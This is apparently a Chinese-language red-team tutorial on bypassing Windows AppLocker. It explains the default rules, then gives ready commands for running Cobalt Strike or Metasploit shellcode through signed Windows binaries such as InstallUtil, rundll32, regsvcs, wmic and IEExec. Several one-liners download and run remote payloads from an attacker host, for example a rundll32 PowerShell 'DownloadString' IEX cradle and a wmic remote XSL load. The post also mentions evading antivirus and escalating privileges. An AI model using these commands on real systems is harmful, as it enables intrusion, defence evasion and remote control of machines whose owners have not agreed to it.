前言

AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。AppLocker这个组策略可以拦截命令执行的限制,一般我们都会使用默认模板。
1、开启AppLocker
gpedit.msc
image.png
服务设置里打开自启动Application Identity
image.png
需要配置成强制规则
image.png
这里我为了方便,将管理员(把它当做普通用户)禁用,效果如下,接下来的绕过将基于这种情况进行测试
image.png
image.png
image.png

  1. PS:如果想要修改关闭目前正在作用的策略并使其生效的话,需要重启计算机,否则阻止的策略会一直生效

AppLocker默认的模板支持对以下后缀的程序运行拦截。
1、可执行程序
2、安装程序
3、脚本

可执行文件 .exe、.com
脚本 .ps1、.bat、.cmd、.vbs、.js
Windows Installer 文件 .msi、.msp、.mst
封装应用和封装应用安装程序 .appx
DLL 文件 .dll、.ocx

基于三种拦截规则
1、基于路径(非白名单路径下的程序受AppLocker影响)
2、基于Hash(非指定程序(依靠hash判别)之外的其他程序受AppLocker影响)
3、基于数字签名(数字签名中包含创造该应用的发布者信息。可执行文件、DLL、Windows安装程序、封装的应用以及应用安装包同样包含扩展属性,可以从二进制资源区中获取这些属性,这种方式也是最难绕过的方式)

默认情况下:
1、任何用户均可以运行c:\windows*及C:\Program Files*(如果是64位系统,则包含C:\Program Files(86))下所有可执行文件及脚本;
2、提权后的管理员可以运行任何位置的程序。在此默认规则下,你在非c:\windows*及C:\Program Files*位置,双击任意程序,程序无法运行,只能右键以管理员身份运行。
3、AppLocker只对非管理员用户生效;

image.png

绕过

思路:
既然AppLocker是禁止我们运行某些程序,那么最好的方式就是我们上线一个CS或者MSF,利用本地提权漏洞提升到管理员权限,此时我们就可以任意执行命令了。
看了下文章,绕过的Applocker的方式比较多,因此我这里仅记录必要或有趣,且相对较简单的方法。

1、路径限制绕过

在AppLocker里,路径限制是最好绕过的方式之一,也是我们最爱用的方式之一,我们可以使用Powershell来发现白名单路径,当然如果有杀软禁用Powershell不大好办了。因为360会拦截大量的Powershell行为

  1. 使用脚本查看白名单路径
  2. powershell -Exec bypass -file "c:\1\AppLockerBypassChecker-v1.ps1"

运行成功后,会返回白名单路径,这里我没有进行配置,寻找到白名单然后运行shellcode即可
image.png

2、Hash绕过和签名绕过

需要找到对于白名单hash里或者白名单签名文件,如果该文件存在DLL劫持漏洞,那么我们即可进行绕过,但是目前这种方法感觉还是太过麻烦,实战效果比较差。
劫持procEXP.exe的DLL
image.png

3、powershell

因为applocker可以执行Powershell脚本
powershell “whoami”
我们可以直接执行Powershell让其上线,或者反弹一个shel等

白加黑

白加黑是老生常谈的话题了,一直知道这个东西的存在,也在实战中利用过,基本发现windows白名单上线也能过Applocker(虽然是windows白名单,但是杀软基本都会杀),我们选几个进行测试。

  1. Msbuild.exe
  2. Installutil.exe
  3. regasm.exe
  4. regsvcs.exe
  5. Mshta.exe
  6. Compiler.exe
  7. Csc.exe
  8. Msiexec
  9. Regsvr32
  10. Wmic
  11. RunDLL32.exe
  12. Odbcconf
  13. PsExec
  14. Forfiles
  15. Pcalua
  16. Cmstp.exe
  17. Ur1.DLL
  18. zipfldr.DLL
  19. msiexec
  20. Ftp.exe

4、InstallUtil

该方式同样为为windows白名单利用程序
如果有Microsoft .NET Framework 4.0环境,可用来执行exe
不同电脑的具体路径不一样,默认路径为:C:\Windows\Microsoft.NET\Framework

命令:

  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "shellcode.exe"

注意这里的shellcode.exe应该为c#使用csc.exe打包生成出来的文件。

  1. csc.exe /out:shellcode.exe exeshell.cs

cobaltstrike支持导出c#语言的shellcode,我们利用该模板进行csc编译打包,并利用installUtil.exe执行即可
image.png

5、Rundll32.exe

64位 C:\Windows\System32\rundll32.exe
32位 C:\Windows\SysWOW64\rundll32.exe
可以执行vbs命令,来直接上线powershell CS

  1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

也可以直接生成DLL,直接本地加载

  1. rundll32.exe "C:\Windows\twain_64.dll",EntryPoin

cobalstrike
image.png

注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。

6、regasm.exe、regsvcs.exe

这两也是windows白名单利用程序
主要用于用于注册.NET组件对象模型(COM)程序集。两者都是由Microsoft进行数字签名的。
1、利用模板,下载后使用cobaltstrike生成c#文件,填充如下方的shellcode内容即可

  1. https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution/blob/master/regsvcs.cs

image.png
2、然后再利用sn.exe生成一个key作为秘钥

  1. sn.exe -k key.sn

3、生成dll文件

  1. csc.exe /r:System.EnterpriseServices.dll /target:library /out:shell.dll /keyfile:key.snk regsvcs.cs

4、最后执行shellcode.dll即可
regasm.exe shellcode.dll
regsvcs.exe shellcode.dll

7、wmic

该方式同样为为windows白名单利用程序

  1. wmic os get /FORMAT:"http://192.168.1.109/payload.xsl"

xsl 利用生成shellcode模板
https://github.com/Ridter/AMSI_bypass

8、cpl文件

https://xz.aliyun.com/t/9957

9、ieexec.exe

同样是windows 白加黑里面的一种
https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247486094&idx=1&sn=1b54d04bd74b77987260befb99646aa1

  1. C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe http://x.x.x.x:8080/bypass.exe

参考文章:
https://www.anquanke.com/post/id/159892
https://lengjibo.github.io/appbypass/
https://3gstudent.github.io/Use-msxsl-to-bypass-AppLocker
https://wooyun.js.org/drops/Bypass%20Windows%20AppLocker.html